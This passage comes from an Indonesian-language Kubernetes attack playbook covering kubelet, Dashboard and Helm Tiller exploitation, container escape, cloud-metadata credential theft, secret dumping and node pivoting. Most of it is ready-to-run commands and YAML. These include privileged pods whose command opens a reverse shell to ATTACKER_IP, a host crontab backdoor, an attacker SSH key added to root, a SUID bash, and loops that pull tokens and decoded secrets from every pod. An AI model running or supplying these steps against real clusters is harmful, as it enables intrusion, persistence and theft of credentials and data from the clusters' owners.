24kubeletctl -s TARGET scan rce

kubeletctl — tool khusus untuk kubelet exploitation:

 1# Install
 2# https://github.com/cyberark/kubeletctl
 3
 4# Scan semua pods yang bisa di-exec
 5kubeletctl -s TARGET scan rce
 6
 7# List pods
 8kubeletctl -s TARGET pods
 9
10# Exec command
11kubeletctl -s TARGET exec "id" -p POD_NAME -c CONTAINER_NAME -n NAMESPACE
12
13# Scan token dari semua pods
14kubeletctl -s TARGET scan token

3.3 Kubernetes Dashboard Tanpa Auth

Kubernetes Dashboard yang terekspos tanpa autentikasi memberikan UI lengkap untuk mengelola cluster.

1# Cek apakah dashboard accessible
2curl -sk https://TARGET:8443/
3curl -sk https://TARGET/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
4
5# Cek apakah bisa skip login
6# Dashboard kadang dikonfigurasi dengan --enable-skip-login
7# atau --enable-insecure-login

Via Dashboard UI:

  1. Buka browser → https://TARGET:8443
  2. Jika ada tombol “Skip” → klik, masuk tanpa auth
  3. Navigasi:
    • Namespaces → lihat semua namespace
    • Config and Storage → Secrets → baca semua secrets
    • Workloads → Pods → lihat running pods
    • + Create (kanan atas) → deploy pod baru

Deploy privileged pod via Dashboard:

Di Dashboard, klik + lalu paste YAML:

 1apiVersion: v1
 2kind: Pod
 3metadata:
 4  name: dashboard-pwn
 5  namespace: default
 6spec:
 7  containers:
 8  - name: pwn
 9    image: alpine
10    command: ["/bin/sh", "-c", "apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
11    securityContext:
12      privileged: true
13    volumeMounts:
14    - mountPath: /host
15      name: host-vol
16  volumes:
17  - name: host-vol
18    hostPath:
19      path: /
20  hostNetwork: true

3.4 Helm Tiller (Legacy)

Helm v2 menggunakan Tiller — server-side component yang berjalan di cluster dengan cluster-admin privilege. Biasanya listen di port 44134 tanpa autentikasi.

 1# Cek apakah Tiller berjalan
 2curl -s http://TARGET:44134
 3
 4# Dengan helm v2 client
 5helm --host TARGET:44134 version
 6helm --host TARGET:44134 list
 7
 8# Deploy chart yang berisi reverse shell
 9# 1. Buat chart sederhana
10mkdir -p /tmp/pwn/templates
11cat > /tmp/pwn/Chart.yaml << 'EOF'
12apiVersion: v1
13name: pwn
14version: 0.1.0
15EOF
16
17cat > /tmp/pwn/templates/pod.yaml << 'EOF'
18apiVersion: v1
19kind: Pod
20metadata:
21  name: tiller-pwn
22spec:
23  containers:
24  - name: pwn
25    image: alpine
26    command: ["/bin/sh", "-c", "apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
27    securityContext:
28      privileged: true
29    volumeMounts:
30    - mountPath: /host
31      name: host-vol
32  volumes:
33  - name: host-vol
34    hostPath:
35      path: /
36  hostNetwork: true
37EOF
38
39# 2. Install chart via Tiller
40helm --host TARGET:44134 install /tmp/pwn --name pwned

Catatan: Helm v2 sudah deprecated sejak 2020, tapi masih ditemukan di cluster lama yang belum di-upgrade.


Bab 4 — Container & Pod Escape

Jika kamu sudah di dalam pod/container (via webshell, RCE di app, CI/CD, dll), langkah selanjutnya adalah keluar dari container ke host node.

4.1 Privileged Pod → Host Access

Jika pod berjalan dengan privileged: true:

 1# Cek apakah privileged
 2cat /proc/self/status | grep CapEff
 3# CapEff: 000001ffffffffff → privileged (semua capabilities)
 4
 5# Jika privileged, akses host filesystem via device
 6fdisk -l  # lihat disk
 7mkdir /tmp/host
 8mount /dev/sda1 /tmp/host
 9chroot /tmp/host bash
10# Sekarang root di host
11
12# Atau jika nsenter tersedia
13nsenter --target 1 --mount --uts --ipc --net --pid -- bash
14# Masuk ke namespace PID 1 (init process host)

4.2 HostPath Mount

Jika pod memiliki volume mount ke host filesystem:

 1# Cek mount points
 2mount | grep host
 3df -h
 4ls /host-path/  # atau apapun nama mount-nya
 5
 6# Jika / host di-mount ke /host
 7cat /host/etc/shadow
 8cat /host/root/.ssh/id_rsa
 9
10# Tulis SSH key ke host
11mkdir -p /host/root/.ssh
12echo "ssh-rsa AAAA... attacker@host" >> /host/root/.ssh/authorized_keys
13
14# Tulis cron job ke host
15echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /host/etc/crontab
16
17# Buat SUID bash di host
18cp /host/bin/bash /host/tmp/rootbash
19chmod +s /host/tmp/rootbash

4.3 Service Account Token → API Access

Dari dalam pod, gunakan auto-mounted service account token:

 1# Token lokasi
 2TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
 3APISERVER=https://kubernetes.default.svc
 4
 5# Cek permission
 6curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/kube-system/secrets
 7
 8# Jika token punya privilege tinggi → buat privileged pod baru (lihat 2.6)
 9# Atau ambil secret dari namespace lain
10curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets | \
11  jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

4.4 Cloud Metadata dari Pod

Pod di cloud (EKS, GKE, AKS) bisa akses cloud metadata endpoint:

 1# ========== AWS (EKS) ==========
 2# IMDSv1
 3curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
 4ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
 5curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
 6
 7# IMDSv2 (butuh token)
 8IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
 9curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
10
11# EKS-specific: IRSA (IAM Roles for Service Accounts)
12# Token di environment variable
13echo $AWS_WEB_IDENTITY_TOKEN_FILE
14cat $AWS_WEB_IDENTITY_TOKEN_FILE
15echo $AWS_ROLE_ARN
16
17# ========== GCP (GKE) ==========
18curl -s -H "Metadata-Flavor: Google" \
19  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
20curl -s -H "Metadata-Flavor: Google" \
21  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
22curl -s -H "Metadata-Flavor: Google" \
23  http://169.254.169.254/computeMetadata/v1/project/project-id
24
25# GKE Workload Identity
26curl -s -H "Metadata-Flavor: Google" \
27  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
28
29# ========== Azure (AKS) ==========
30curl -s -H "Metadata: true" \
31  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Gunakan cloud credentials yang didapat:

 1# AWS
 2export AWS_ACCESS_KEY_ID="ASIA..."
 3export AWS_SECRET_ACCESS_KEY="..."
 4export AWS_SESSION_TOKEN="..."
 5aws sts get-caller-identity
 6aws s3 ls
 7aws ec2 describe-instances
 8aws secretsmanager list-secrets
 9
10# GCP
11# Gunakan access token
12curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
13  "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/zones/us-central1-a/instances"

4.5 Node Pivot via Kubelet

Jika dari dalam pod kamu bisa reach kubelet di node lain:

1# Dari dalam pod, scan kubelet di node lain
2for ip in $(seq 1 20); do
3  (curl -sk --connect-timeout 2 https://10.0.0.$ip:10250/pods > /dev/null 2>&1 && echo "10.0.0.$ip kubelet open") &
4done; wait
5
6# Exec ke pod di node lain via kubelet
7curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER \
8  -X POST -d "cmd=id"

Bab 5 — Post-Exploitation & Lateral Movement

5.1 Enumerate Semua Namespace & Workload

Setelah punya akses ke cluster, mapping seluruh environment:

 1# Semua namespace
 2kubectl get namespaces
 3
 4# Semua workloads
 5kubectl get all --all-namespaces
 6
 7# Semua pods dengan detail (node, IP, status)
 8kubectl get pods --all-namespaces -o wide
 9
10# Semua services (temukan internal endpoints)
11kubectl get services --all-namespaces
12
13# Ingress (temukan domain/URL)
14kubectl get ingress --all-namespaces
15
16# Network policies (pahami segmentasi)
17kubectl get networkpolicies --all-namespaces
18
19# Persistent volumes (data stores)
20kubectl get pv,pvc --all-namespaces
21
22# Custom resources (bisa berisi config sensitif)
23kubectl get crd
24kubectl api-resources --verbs=list --namespaced -o name | xargs -I{} kubectl get {} --all-namespaces -o json 2>/dev/null

Namespace yang sering berisi hal menarik:

NamespaceBiasanya berisi
defaultAplikasi utama
kube-systemCore components, SA tokens
monitoringPrometheus, Grafana (creds)
loggingELK/Loki (log data)
istio-systemService mesh config
argocdGitOps config + repo creds
cert-managerTLS certificates
ingress-nginxIngress controller
database / dbDatabase workloads

5.2 Secret Extraction → Credentials

 1# Dump SEMUA secrets decoded
 2kubectl get secrets --all-namespaces -o json | jq '
 3  .items[] |
 4  select(.data != null) |
 5  {
 6    namespace: .metadata.namespace,
 7    name: .metadata.name,
 8    type: .type,
 9    data: (.data | map_values(@base64d))
10  }
11' 2>/dev/null
12
13# Filter: database credentials
14kubectl get secrets --all-namespaces -o json | jq '
15  .items[] |
16  select(.data != null) |
17  select(
18    (.metadata.name | test("db|database|mysql|postgres|mongo|redis"; "i")) or
19    (.data | keys[] | test("password|uri|url|dsn|connection"; "i"))
20  ) |
21  {namespace: .metadata.namespace, name: .metadata.name, data: (.data | map_values(@base64d))}
22'
23
24# Filter: docker registry credentials
25kubectl get secrets --all-namespaces -o json | jq '
26  .items[] |
27  select(.type == "kubernetes.io/dockerconfigjson") |
28  {name: .metadata.name, config: (.data[".dockerconfigjson"] | @base64d | fromjson)}
29'
30
31# ConfigMaps juga sering berisi credentials
32kubectl get configmaps --all-namespaces -o json | jq '
33  .items[] |
34  select(.data != null) |
35  select(.data | to_entries[] | .value | test("password|secret|key|token"; "i")) |
36  {namespace: .metadata.namespace, name: .metadata.name, data: .data}
37'
38
39# Environment variables dari pods (sering berisi creds)
40kubectl get pods --all-namespaces -o json | jq '
41  .items[] |
42  {
43    pod: .metadata.name,
44    namespace: .metadata.namespace,
45    env: [.spec.containers[].env[]? | select(.value != null) | {(.name): .value}]
46  } |
47  select(.env | length > 0)
48'

5.3 Pivot ke Node Lain

Dari privileged pod atau setelah escape ke host:

 1# List semua nodes
 2kubectl get nodes -o wide
 3# NAME       STATUS   INTERNAL-IP    EXTERNAL-IP
 4# node-1     Ready    10.0.0.11      34.x.x.x
 5# node-2     Ready    10.0.0.12      34.x.x.y
 6
 7# SSH ke node lain (jika key ditemukan)
 8ssh -i /host/root/.ssh/id_rsa [email protected]
 9
10# Atau deploy pod di node tertentu
11cat << EOF | kubectl apply -f -
12apiVersion: v1
13kind: Pod
14metadata:
15  name: pivot-node2
16spec:
17  nodeName: node-2
18  containers:
19  - name: pwn
20    image: alpine
21    command: ["/bin/sh", "-c", "sleep 99999"]
22    securityContext:
23      privileged: true
24    volumeMounts:
25    - mountPath: /host
26      name: host-vol
27  volumes:
28  - name: host-vol
29    hostPath:
30      path: /
31EOF
32
33kubectl exec -it pivot-node2 -- chroot /host bash

5.4 Cloud Credential Theft dari Pod

 1# Scan semua pods untuk cloud credentials
 2for pod in $(kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
 3  ns=$(echo $pod | cut -d/ -f1)
 4  name=$(echo $pod | cut -d/ -f2)
 5  echo "=== $pod ==="
 6  kubectl exec -n $ns $name -- env 2>/dev/null | grep -iE '(AWS_|AZURE_|GOOGLE_|GCP_|CLOUD_|SECRET|TOKEN|KEY|PASSWORD)' 2>/dev/null
 7done
 8
 9# Cari secret files di pods
10for pod in $(kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
11  ns=$(echo $pod | cut -d/ -f1)
12  name=$(echo $pod | cut -d/ -f2)
13  kubectl exec -n $ns $name -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null && echo " → $pod"
14done

5.5 Checklist Ringkasan

Menemukan Kubernetes Terekspos
  │
  ├─ 1. Identifikasi service
  │     ├─ API Server (6443) → anonymous auth?
  │     ├─ etcd (2379) → tanpa auth?
  │     ├─ Kubelet (10250/10255) → exec pods?
  │     └─ Dashboard (8443) → skip login?
  │
  ├─ 2. API Server exploitation
  │     ├─ Anonymous access → enumerate cluster
  │     ├─ RBAC misconfig → escalate privilege
  │     ├─ List secrets → decode credentials
  │     └─ Create pod → RCE
  │
  ├─ 3. etcd exploitation
  │     └─ Dump all data → secrets, tokens, configs
  │
  ├─ 4. Kubelet exploitation
  │     └─ /run endpoint → exec ke pod → RCE
  │
  ├─ 5. Container/Pod escape
  │     ├─ Privileged? → mount host / nsenter
  │     ├─ HostPath? → read/write host filesystem
  │     ├─ SA token? → API access → create privileged pod
  │     └─ Cloud? → metadata → cloud credentials
  │
  ├─ 6. Post-exploitation
  │     ├─ Dump semua secrets & configmaps
  │     ├─ Enumerate semua workloads
  │     ├─ Pivot ke node lain
  │     └─ Cloud credential theft
  │
  └─ 7. Lateral movement
        ├─ SSH keys dari nodes
        ├─ Database credentials dari secrets
        ├─ Cloud IAM → full infrastructure
        └─ CI/CD credentials → supply chain

Bab 6 — (Coming soon)